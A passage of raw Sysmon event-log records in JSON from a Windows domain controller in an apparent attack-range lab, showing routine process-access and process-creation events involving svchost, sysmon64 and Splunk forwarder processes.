C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41ED-5F2D-0000-001092010900}\r\nTargetProcessId: 3228\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41ED-5F2D-0000-001092010900}","TargetProcessId":"3228","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.526\r\nSourceProcessGUID: {90617006-41ED-5F2D-0000-001092010900}\r\nSourceProcessId: 3228\r\nSourceThreadId: 2728\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.526","SourceProcessGUID":"{90617006-41ED-5F2D-0000-001092010900}","SourceProcessId":"3228","SourceThreadId":"2728","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.136\r\nProcessGuid: {90617006-41EE-5F2D-0000-0010A7030900}\r\nProcessId: 4360\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.136","ProcessGuid":"{90617006-41EE-5F2D-0000-0010A7030900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41EE-5F2D-0000-0010A7030900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41EE-5F2D-0000-0010A7030900}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41EE-5F2D-0000-0010A7030900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41EE-5F2D-0000-0010A7030900}","TargetProcessId":"4360","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:38.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6092,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:38.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: 